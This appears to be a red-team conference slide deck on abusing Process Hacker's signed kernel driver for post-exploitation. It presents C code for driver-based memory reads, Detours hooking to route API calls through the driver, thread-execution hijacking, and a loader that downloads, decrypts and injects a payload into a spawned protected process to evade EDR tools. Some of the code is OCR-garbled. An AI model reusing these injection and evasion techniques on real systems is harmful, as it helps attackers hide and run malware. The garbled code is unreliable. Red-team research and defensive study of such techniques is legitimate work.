Utilizing Lol Drivers in Post-Exploitation Tradecraft

Barış Akkaya
Red Team Engineer at Picus Security
# whoami

Barış Akkaya
@OccamsXor
Red Team Engineer at Picus Security
Agenda

- Motivations & Challenges of kernel mode attacks
- Analysis of a Lol Driver
- Implementation of TTPs using the Lol Driver
  - Reading PEB of a Process
  - Weaponizing tools with Lol Driver
  - Thread Hijacking
- Subverting Protected Processes
  - Crafting a simple meterpreter loader
- New tool to use Lol driver threats
User Mode & Kernel Mode

- Current public offensive security practices mainly focuses on user-mode threats. However, threat actors still combines kernel mode attacks with user mode techniques.
- Defensive products and tools also aligned with this trend because of the importance and variety of user mode threats.
- Why Kernel mode?
  - Evasion
  - Bypassing user-mode controls
  - Manipulating OS and AV components
API Hooking

- Bread and butter of EDRs and Sandboxes
- User mode technique for behavioral analysis
- Attacker’s current options:
  - Unhook with fresh copy of ntdll
  - Use direct syscalls in compilation
  - Use Blockdlls + ACG

Source:
Kernel mode Challenges

- Prone to error
- Need to have Administrator privileges
- Deploying driver is a noisy action
- Microsoft DSE and PatchGuard
DSE and Patchguard

- Driver Signature Enforcement and EV certificates for Windows 10
  - “All drivers for Windows 10 (starting with version 1507, Threshold 1) signed by the Hardware Dev Center are SHA2 signed” – msdn
- PatchGuard (or Kernel Patch Protection) is a mechanism to defend against kernel patches.
  - “Because patching replaces kernel code with unknown, untested code, there is no way to assess the quality or impact of the third-party code…” – Microsoft FAQ
  - Affects both rootkits and AVs
- Still various bypasses exist for turning off DSE and PatchGuard
  - Using signed vulnerable drivers is fairly studied subject (capcom.sys)
LOL Drivers?

- Maybe, we can use non-vulnerable drivers for our purposes
  - No need to develop drivers from scratch
  - No need to bypass DSE or PatchGuard (could cause BSODs)

- Where can we find such a driver?
Process Hacker

- How Process Hacker extracts so much data?
  - It installs its own driver
- Some malware families (like Dridex) already uses Process Hacker in a simple way
  

Names imported by ProcessHacker. DoppelPaymer then executes ProcessHacker which loads the stager DLL via DLL search order hijacking. Once loaded, ProcessHacker's kernel driver is leveraged to kill the blacklisted processes.
Process Hacker Analysis

- Reading PH code teaches a lot. <3
  [https://github.com/processhacker/processhacker](https://github.com/processhacker/processhacker)
- Process Hacker uses IOCTLS to communicate with its own driver

The **DeviceIoControl** function provides a device input and output control (IOCTL) interface through which an application can communicate directly with a device driver. The **DeviceIoControl** function is a general-purpose interface that can send control codes to a variety of devices. Each control code represents an operation for the driver to perform. For example, a control code can ask a device driver to return information about the corresponding device, or direct the driver to carry out an action on the device, such as formatting a disk.
Process Hacker Analysis
Process Hacker Driver

Look at all the IOCTLs...

Wait

Look at all the IOCTLs that I cannot use 😞

All the good IOCTLs are actually “protected”.

```c
#define KPH_CTL_CODE(x) CTL_CODE(KPH_DEVICE_TYPE, 0x8000 + x, METHOD_NEITHER, FILE_ANY_ACCESS)

// General
#define KPH_GETFEATURES KPH_CTL_CODE(0)
#define KPH_VERIFYCLIENT KPH_CTL_CODE(1)
#define KPH_RETRIEVEKEY KPH_CTL_CODE(2) // User-mode only

// Processes
#define KPH_OPENPROCESS KPH_CTL_CODE(50) // L1/L2 protected API
#define KPH_OPENPROCESSSTOKEN KPH_CTL_CODE(51) // L1/L2 protected API
#define KPH_OPENPROCESSJOB KPH_CTL_CODE(52)
#define KPH_RESERVESOL KPH_CTL_CODE(53)
#define KPH_RESERVED4 KPH_CTL_CODE(54)
#define KPH_TERMINATEPROCESS KPH_CTL_CODE(55) // L2 protected API
#define KPH_RESERVED5 KPH_CTL_CODE(56)
#define KPH_RESERVED6 KPH_CTL_CODE(57)
#define KPH_READVIRTUALMEMORYSAFE KPH_CTL_CODE(58) // L2 protected API
#define KPH_QUERYINFORMATIONPROCESS KPH_CTL_CODE(59)
#define KPH_SETINFORMATIONPROCESS KPH_CTL_CODE(60)

// Threads
#define KPH_OPENTHREAD KPH_CTL_CODE(100) // L1/L2 protected API
#define KPH_OPENTHREADPROCESS KPH_CTL_CODE(101)
#define KPH_RESERVED82 KPH_CTL_CODE(102)
#define KPH_RESERVED83 KPH_CTL_CODE(103)
#define KPH_RESERVED84 KPH_CTL_CODE(104)
#define KPH_RESERVED85 KPH_CTL_CODE(105)
#define KPH_CAPTURESTACKBACKTRACEKTHREAD KPH_CTL_CODE(106)
#define KPH_QUERYINFORMATIONTHREAD KPH_CTL_CODE(107)
#define KPH_SETINFORMATIONTHREAD KPH_CTL_CODE(108)

// Handles
#define KPH_ENUMERATEPROCESSHANDLES KPH_CTL_CODE(150)
#define KPH_QUERYINFORMATIONOBJECT KPH_CTL_CODE(151)
#define KPH_SETINFORMATIONOBJECT KPH_CTL_CODE(152)
#define KPH_RESERVED153 KPH_CTL_CODE(153)

kphapi.h
```
• Process Hacker driver has client verification for IOCTLs that can be used for malicious purposes.
• The IOCTL key is generated in the verification process when the driver is installed.
• Driver checks the signature and the image of the process calling its IOCTL with its own key.
History for processhacker / KProcessHacker / process.c

- **Commits on Jan 2, 2021**
  - KPH hardening, protected domination check and caller verification (KF77)
    - a13x committed on Jan 2, 2021

- **Commits on Oct 6, 2017**
  - Update KPH for VS17
    - dtes committed on Oct 6, 2017

- **Commits on Apr 27, 2017**
  - Fix github file encoding issues
    - dtes committed on Apr 27, 2017

- **Commits on Mar 28, 2016**
  - Re-add KphOpenProcessToken
    - a13x committed on Mar 27, 2016

- **Commits on Mar 16, 2016**
  - Fully implement verification for KProcessHacker
    - a13x committed on Mar 16, 2016

- **Commits on Mar 15, 2016**
  - Add KProcessHacker hashing and verification code
    - a13x committed on Mar 15, 2016

- **Commits on Mar 14, 2016**
  - Perform access checks for user-mode wherever possible
    - a13x committed on Mar 14, 2016
  - Remove all internal procedure scans from KProcessHacker
    - a13x committed on Mar 14, 2016
  - Remove KphSuspendProcess and KphResumeProcess
    - a13x committed on Mar 14, 2016

https://github.com/processhacker/processhacker/commits/d2cd2a12294676cda1516b9023af91a7466817fa/KProcessHacker/process.c
Old kphapi.h

New kphapi.h
Using IOCTLs

Let’s start with reading PEB of a process:
• Get Process Handle
• Query PEB address
• Read Process Memory
Using IOCTLs

Let’s start with reading PEB of a process:

- Get Process Handle
- Query PEB address
- Read Process Memory
Standard Read PEB function

```c
20 uPid.UniqueProcess = (HANDLE)(DWORD_PTR)pid;
21 uPid.UniqueThread = (HANDLE)0;
22
23 status = NtOpenProcess(&hProc, PROCESS_ALL_ACCESS, &ObjectAttributes, &uPid);
24 status = NtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, sizeof(pbi), 0);
25 status = NtReadVirtualMemory(hProc, pbi.PebBaseAddress, &p, sizeof(p), 0);
26
27 return 0;
```

Kprocesshacker Read PEB function

```c
23 status = KphConnect();
24
25 uPid.UniqueProcess = (HANDLE)(DWORD_PTR)pid;
26 uPid.UniqueThread = (HANDLE)0;
27
28 status = KphOpenProcess(&hProc, PROCESS_ALL_ACCESS, &uPid);
29 status = NtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, sizeof(pbi), 0);
30 status = KphReadVirtualMemory(hProc, pbi.PebBaseAddress, &p, sizeof(p), 0);
31 return 0;
```
Advantages of using IOCTLs

- Harder to detect by API Hooking
- Process Hacker driver uses kernel mode access when opening processes.
  - Well, we want to skip access checks too
- AV minifilters may ignore notifications came from Kernel mode operations.
Handle Management

- Microsoft has a checklist for driver developers with “Handle Management” sub-topic.
- https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/handle-management

Handle Management

A significant source of security issues within drivers is the use of handles passed between user-mode and kernel-mode components. There are a number of known problems with handle usage within the kernel environment, including the following:

- An application that passes the wrong type of handle to a kernel driver. The kernel driver might crash trying to use an event object where a file object is needed.

- An application that passes a handle to an object for which it does not have the necessary access. The kernel driver might perform an operation that works because the call comes from kernel mode, even though the user does not have adequate permissions to do so.

- An application that passes a value that is not a valid handle in its address space, but is marked as a system handle to perform a malicious operation against the system.

- An application that passes a value that is not an appropriate handle for the device object (a handle that this driver didn’t create).
Weaponizing Tools to Use IOCTLS

- Rewriting all tools to use IOCTLS instead of API calls can be costly for red teams.
- It’s necessary to modify the tools dynamically in run-time.
  - We can learn from defensive products: **API Hooking** again
  - Altering execution flow of a tool by using hooking
- We can use any hooking library (Detours, MinHook, EasyHook or DIY) to rewrite API calls
Using Microsoft Detours

```c
#include "detours.h"
#pragma comment(lib, "detours.lib")

NTSTATUS HookMePH()
{
    LPHOOKPH pHookPH = DetourPHY();
    NTSSTATUS status = DetourConnect();
    PVOID pOpenProcess = GetProcAddress(GetModuleHandle(L"kernelbase.dll"), "OpenProcess");
    PVOID pReadProcessMemory = GetProcAddress(GetModuleHandle(L"kernelbase.dll"), "ReadProcessMemory");
    DetourRestoreAfterWith(pOpenProcess, 0);
    DetourTransactionBegin();
    DetourUpdateThreadGetCurrentThread();
    DetourAttach((LP尽 PH, PH, OpenProcess));
    DetourAttach((LP尽 PH, PH, ReadProcessMemory));
    LONG lError = DetourTransactionCommit();
    if (lError != NO_ERROR)
    {
        MessageBox(HWND_DESKTOP, L"Failed to detour", L"detour", MB_OK);
        return FALSE;
    }
    return 0;
}

BOOL WINAPI PHreadProcessMemory
{
    HANDLE hProcess, hRead;
    LPVOID lpBaseAddress, lpBuffer,
    SIZE_T nSize, nNumberOfBytesRead
    NTSSTATUS status = HookMePH((PH, (POINTER)lpBaseAddress, lpBuffer, nSize, nNumberOfBytesRead));
    if (status == STATUS_SUCCESS) return TRUE;
    else return FALSE;
}
```
Implementing Process Injection

• Process Injection basically consists of 3 steps:
  • Allocating Memory
  • Writing to Memory
  • Executing Payload
• We can change API calls with IOCTLs for some of these steps.
Thread Execution Hijacking

```c
THREADENTRY32 threadEntry;
CONTEXT context;

int pid = _vtol(argv[1]);

context.ContextFlags = CONTEXT_FULL;
threadEntry.dwSize = sizeof THREADENTRY32;

targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof sc, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(targetProcessHandle, remoteBuffer, sc, sizeof sc, NULL);

snapshot = CreateToolhelp32Snapshots(TH32CS_SNAPTHREAD, 0);
Thread32First(snapshot, &threadEntry);

while (Thread32Next(snapshot, &threadEntry))
{
    if (threadEntry.th32OwnerProcessID == pid)
    {
        hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
        break;
    }
}

SuspendThread(hThread);

GetThreadContext(hThread, &context);
context.Rip = (WORD_PTR)remoteBuffer;
SetThreadContext(hThread, &context);

ResumeThread(hThread);
```
Implementation Graph

- OpenProcess()
- KphOpenProcess()
- OpenThread()
- KphOpenThread()
- WriteProcessMemory()
- KphWriteProcessMemory()
- SuspendThread()
- KphSuspendProcess()
- GetThreadContext()
- KphGetContextThread()
- SetThreadContext()
- KphSetContextThread()
- ResumeThread()
- KphResumeProcess()
CLIENT_ID uPid = { 0 };
pid = _wtoi(argv[1]);
tid = GetThreadIDFromPID(pid);

uPid.UniqueProcess = (HANDLE)(DWORD_PTR)pid;
uPid.UniqueThread = (HANDLE)tid;

status = KphConnect();
if (status == STATUS_SUCCESS) {
    printf("\n[*] Connected to KprocessHacker Driver\n");
}
else {
    printf("\n[-] Failed to connect KProcessHacker Driver. Exiting...\n");
    return -1;
}

KphOpenProcess(&hProc, PROCESS_ALL_ACCESS, &uPid);
KphOpenThread(&hThread, THREAD_ALL_ACCESS, &uPid);

ctx.ContextFlags = CONTEXTFullPath;

lpAddress = VirtualAllocEx(hProc, NULL, sizeof(sc), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
KphWriteVirtualMemory(hProc, lpAddress, sc, sizeof(sc), NULL);
KphSuspendProcess(hProc);
KphGetContextThread(hProc, &ctx);
ctx.Rip = (DWORD_PTR)lpAddress;
KphSetContextThread(hThread, &ctx);
KphResumeProcess(hProc);
DEMO HERE
Protected Processes

- With Windows 8.1 Microsoft introduces Protected Process Light
- PPL can act as a security boundary between OS components and user applications.
- Protection Level of a Process is defined by a field in EPROCESS kernel object.
- When opening a handle to PPL process the access right is masked by a specific Kernel function.

Subverting PPL Processes

- Everybody try to turn off PPL. Can we also use it for evasion?
  - Cannot get a handle to manage the PPL process.
  - Must use a PPL signed binary

- Can I spawn PPL processes?
  - wininit.exe
  - services.exe
  - smss.exe
  - csrss.exe
Simple Loader Using Kph
```c
int wmain(int argc, wchar_t* argv[]) {
    HANDLE hProc, hThread;
    NTSTATUS status;
    WCHAR name[] = L"C:\windows\system32\services.exe";
    LPVOID lpAddress, lpBuffer;
    DWORD dwProtect;
    HANDLE hToken;
    PROCESS_INFORMATION pi;

    KphConnect(); //Connect to KPH Driver
    OphDuplicateProcessToken(GetPIDFromName(L"services.exe"), &hToken); //Duplicate Primary Token
    OphCreateProtectedProcessWithToken(&pi, hToken);

    lpBuffer = VirtualAlloc(NULL, BUF_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //Allocate memory for the payload: 1MB
    GetPayloadFromURL(argv[1], lpBuffer, BUF_SIZE); //Download Payload to Memory
    DecryptPayload((char*)lpBuffer, PAYLOAD_SIZE, key, sizeof(key)); //Decrypt Payload

    PhOpenProcess(&hProc, GetProcessId(&pi.hProcess)); //We actually need PM Driver to open process with full rights
    PhOpenThread(&hThread, GetThreadId(&pi.hThread));
    lpAddress = VirtualAllocEx(hProc, NULL, BUF_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    KphWriteVirtualMemory(hProc, lpAddress, lpBuffer, BUF_SIZE, NULL);
    VirtualProtectEx(hProc, lpAddress, BUF_SIZE, PAGE_EXECUTE_READ, &dwProtect);
    printf("\n[*] Protected Shellcode Host Process: %d", pi.dwProcessId);
    QueueUserAPC((PAPCFUNC)lpAddress, hThread, NULL); //Send APC Call to Suspended Proc
    KphResumeProcess(hProc);
    return 0;
}
```
New tool: OffensivePH

- OffensivePH utilizes Process Hacker’s driver for its modules.
- You can find it here:
  - https://github.com/RedSection/OffensivePH
Future Work

- Hunt Lol-Drivers
- Implement new techniques
- Less noisy ways of installing drivers
Thank You

Questions?